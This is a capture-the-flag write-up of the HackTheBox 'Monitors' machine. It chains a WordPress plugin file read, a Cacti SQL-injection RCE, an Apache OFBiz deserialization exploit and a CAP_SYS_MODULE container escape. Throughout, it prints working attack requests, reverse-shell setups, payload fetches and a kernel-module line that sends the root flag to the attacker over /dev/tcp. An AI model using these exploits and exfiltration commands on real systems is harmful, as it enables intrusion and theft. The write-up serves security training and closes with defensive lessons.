File Nº 0x6D / Subject: m0rgxn
Local --:--:--
← All writeupsCase 10 · Filed 25 Oct 2026 · HackTheBox · 6 min read

Monitors

Rooted

Hard Linux box: LFI to Cacti RCE, then an OFBiz container escape via CAP_SYS_MODULE


Evidence photo — case 10
Monitors is one of those boxes where no single bug is exotic, but the chain is long and every link is a lesson in trusting the wrong thing. It starts with a WordPress site running an abandoned plugin that hands me arbitrary file read. That leak points me at a hidden Cacti install and a database password that — of course — gets reused. Cacti 1.2.12 drops me to www-data through an authenticated SQLi-to-RCE, a backup script coughs up the password for marcus, and then the real fun begins: a Docker container running Apache OFBiz that's both unauthenticated-RCE-able and handed CAP_SYS_MODULE, which is basically a gift card for host root.
  1. Recon → WordPress on monitors.htb, direct-IP access blocked.
  2. Foothold → WP with Spritz plugin LFI → read /etc/passwd, the Apache vhost config, and wp-config.php.
  3. User (pt.1) → reuse the WordPress DB password on Cacti admin → CVE-2020-14295 SQLi→RCE → shell as www-data.
  4. User (pt.2) → cacti-backup.service points at a readable backup script with marcus's password → SSH.
  5. Root → OFBiz 17.12.01 deserialization RCE (CVE-2020-9496) → root inside a container → CAP_SYS_MODULE kernel-module load → root on the host.
  • WordPress plugin LFI/RFI (WP with Spritz 1.0)
  • Config/credential disclosure and password reuse
  • CVE-2020-14295 — Cacti 1.2.12 filter SQL injection → RCE
  • Linux enum: execute-only dirs, systemd unit hunting
  • CVE-2020-9496 — Apache OFBiz XML-RPC Java deserialization RCE
  • Container breakout via CAP_SYS_MODULE (LKM → call_usermodehelper)
  • Cross-compiling a kernel module against a target's headers
Two ports. Nothing fancy.
exegol-htb monitors # nmap -sC -sV 10.129.235.40
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Hitting the IP straight gives me a 403 that politely tells me the vhost it wants — and leaks an admin email while it's at it:
Direct IP access blocked, revealing admin@monitors.htb
So I add the host and move on:
Bash
echo "10.129.235.40  monitors.htb" | sudo tee -a /etc/hosts
monitors.htb is a WordPress blog — "Welcome to Monitor", Iconic One theme. Taking hardware monitoring seriously, apparently.
WordPress blog at monitors.htb
I always let DevTools tell me what a WordPress site is actually loading. Here the Network and Sources panels light up with the WP with Spritz plugin (wp-with-spritz, v1.0):
WPSpritz.js loaded from the wp-with-spritz plugin
wp-with-spritz plugin tree in the Sources panel
That plugin has a known LFI/RFI in wp.spritz.content.filter.php via the url parameter — it'll happily include whatever path I give it. First thing I always read:
GET /wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../../..//etc/passwd
/etc/passwd returned through the LFI
Confirmed file read. Now the question is what to read next. The /etc/passwd output only lists marcus as an interesting user, so I go hunting through config instead of users. The Apache default site config is the gift that keeps giving:
GET /wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../../..//etc/apache2/sites-enabled/000-default.conf
Apache vhost config referencing cacti-admin.monitors.htb
There it is — a second vhost I had no way of guessing:
Add monitors.htb.conf / Add cacti-admin.monitors.htb.conf
Bash
echo "10.129.235.40  cacti-admin.monitors.htb" | sudo tee -a /etc/hosts
Before I touch Cacti, I grab the WordPress DB creds — passwords here love to travel:
GET /wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../../..//var/www/wordpress/wp-config.php
wp-config.php disclosed through the LFI
Php
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );
Pocket that. cacti-admin.monitors.htb is running Cacti 1.2.12. On a hunch I try the WordPress DB password against the Cacti admin user, and it just works:
admin : BestAdministrator@2020!
Reusing creds across a WordPress DB and a Cacti admin panel is exactly the kind of thing this box wants me to notice. Cacti 1.2.12's color.php takes an injectable filter parameter, and since the backend allows stacked queries, that SQLi folds neatly into command execution. The public PoC (EDB-49810) automates the whole dance — auth, inject, pop a shell:
Bash
exegol-htb monitors # python3 49810.py -t http://cacti-admin.monitors.htb \
    -u admin -p 'BestAdministrator@2020!' --lhost 10.10.16.17 --lport 9001
Catch it:
Bash
exegol-htb monitors # nc -lvnp 9001
# ... shell as www-data
marcus's home has a .backup directory locked down to execute-only — I can cd in, but I can't ls:
d--x--x--x 2 marcus marcus 4096 Nov 10  2020 /home/marcus/.backup
Execute-only means: if I know the exact filename, I can still read it. So I go looking for anything on the box that references that directory:
Bash
www-data@monitors # grep -Ri '\.backup' /etc/ 2>/dev/null
A systemd unit obligingly hands me the filename:
Ini
# /etc/systemd/system/cacti-backup.service
[Service]
Type=oneshot
User=www-data
ExecStart=/home/marcus/.backup/backup.sh
Now that I know it's backup.sh, I read it straight out of the execute-only dir:
Bash
www-data@monitors # cat /home/marcus/.backup/backup.sh
backup_name="cacti_backup"
config_pass="VerticalEdge2020"
And that password is marcus's:
Bash
exegol-htb monitors # ssh marcus@10.129.235.40   # VerticalEdge2020
marcus@monitors:~$ cat user.txt
🏁 user.txt — first flag in the file. marcus's note.txt basically narrates the next step for me:
Update docker image for production use
marcus isn't in the docker group, so no easy win there — but the running container is visible in the process list, proxied to localhost only:
Bash
marcus@monitors:~$ ps -ef | grep docker
root  2203  1650  /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.17.0.2 -container-port 8443
marcus@monitors:~$ ss -lnpt | grep 8443   # 127.0.0.1:8443 LISTEN
I tunnel it back to myself. Small gotcha: 8443 was already taken on my box, so I forward to 8444 locally instead:
Bash
exegol-htb monitors # ssh -L 8444:127.0.0.1:8443 marcus@10.129.235.40
Behind the curtain: Apache OFBiz 17.12.01, reachable at https://127.0.0.1:8444/webtools/control/. OFBiz's /webtools/control/xmlrpc endpoint deserializes attacker XML with zero authentication — textbook CommonsBeanutils1 ysoserial territory. One detail that cost me time and is worth calling out: OFBiz 17.12.01 is a Java 8 app, and the CommonsBeanutils1 gadget only serializes cleanly under JDK 8. My box runs JDK 17, which throws InaccessibleObjectException the moment ysoserial tries to reflect into the gadget. The fix is just to generate the payloads inside a Java 8 environment — a throwaway Temurin 8 container with host networking so it can still reach my tunnel:
Bash
exegol-htb monitors # docker run --rm --network host -v "$PWD":/work -w /work \
    eclipse-temurin:8-jdk \
    java -jar ysoserial.jar CommonsBeanutils1 "<command>" | base64 -w0
Each base64 blob goes inside the XML-RPC envelope and gets POSTed to the endpoint:
Xml
POST /webtools/control/xmlrpc HTTP/1.1
Content-Type: application/xml

<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName>
<params><param><value><struct><member><name>test</name>
<value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64_PAYLOAD</serializable></value>
</member></struct></value></param></params></methodCall>
Two requests later (stage the shell, then run it) I've got root — inside the container (599677883bb4, OpenJDK 8). Not the host yet, but we're close. First thing I check in any container: capabilities and what's mounted.
Bash
root@599677883bb4 # capsh --print | grep -i sys_module
Current: = ...,cap_sys_module,...+eip
root@599677883bb4 # uname -r
4.15.0-151-generic
root@599677883bb4 # ls /lib/modules/$(uname -r)/build   # headers PRESENT
root@599677883bb4 # which gcc make insmod               # ...nothing
This is the whole ballgame. CAP_SYS_MODULE lets a process call init_module()/finit_module() — load a kernel module. And a module's init function runs in the host kernel, not the container's. So a one-line call_usermodehelper() inside the module executes as real root on the host. The container walls mean nothing when you can speak directly to the host kernel. The annoyance: no gcc, no make, no insmod in the container. But it does ship the matching kernel headers, so I just build elsewhere and bring the pieces in. Compile the module against the exact 4.15.0-151 headers in a disposable Ubuntu 18.04 container (so the vermagic matches and insmod won't reject it):
Bash
exegol-htb monitors # docker run --rm -v "$PWD":/work -w /work ubuntu:18.04 bash -c '
    apt-get update -qq && apt-get install -y gcc make linux-headers-4.15.0-151-generic
    make'
# -> reigns.ko   (vermagic: 4.15.0-151-generic)
Instead of a reverse shell to babysit, I keep it boring and non-interactive — the module just pipes the flag straight to my listener:
C
// runs as root on the HOST when the module loads:
/bin/bash -c "cat /root/root.txt > /dev/tcp/10.10.16.17/9002"
For the missing insmod, I bring a static busybox (it has an insmod applet). Stage both over HTTP and open the catcher:
Bash
exegol-htb monitors # python3 -m http.server 8000   # serves reigns.ko + busybox
exegol-htb monitors # nc -lvnp 9002                  # catches the flag
Then I drive the container (through the OFBiz RCE) to pull the files and load the module:
Bash
root@599677883bb4 # wget http://10.10.16.17:8000/reigns.ko -O /tmp/reigns.ko
root@599677883bb4 # wget http://10.10.16.17:8000/busybox  -O /tmp/busybox
root@599677883bb4 # chmod 755 /tmp/busybox
root@599677883bb4 # /tmp/busybox insmod /tmp/reigns.ko
The instant the module loads, the host phones home as root:
Connection received on 10.129.235.40 41614
123deddd...REDACTED...5d3b
🏁 root.txt — host fully owned, straight out of the kernel. Flag trimmed per convention. Tidy up after myself so the box isn't left with a rogue module loaded:
Bash
root@599677883bb4 # /tmp/busybox rmmod reigns
root@599677883bb4 # rm -f /tmp/reigns.ko /tmp/busybox
  • That "low-impact" file read was the whole box — it leaked a hidden host, config, and the password that bootstrapped everything. Kill abandoned plugins.
  • One password spanned the WordPress DB and the Cacti admin panel. Unique secrets per service, every time.
  • Secrets hardcoded in a script that a service account can read is how www-data became marcus.
  • CAP_SYS_MODULE on a container is equivalent to host root. Drop capabilities by default; this one should never be granted to an app container.
Happy pwning :')
§ Contents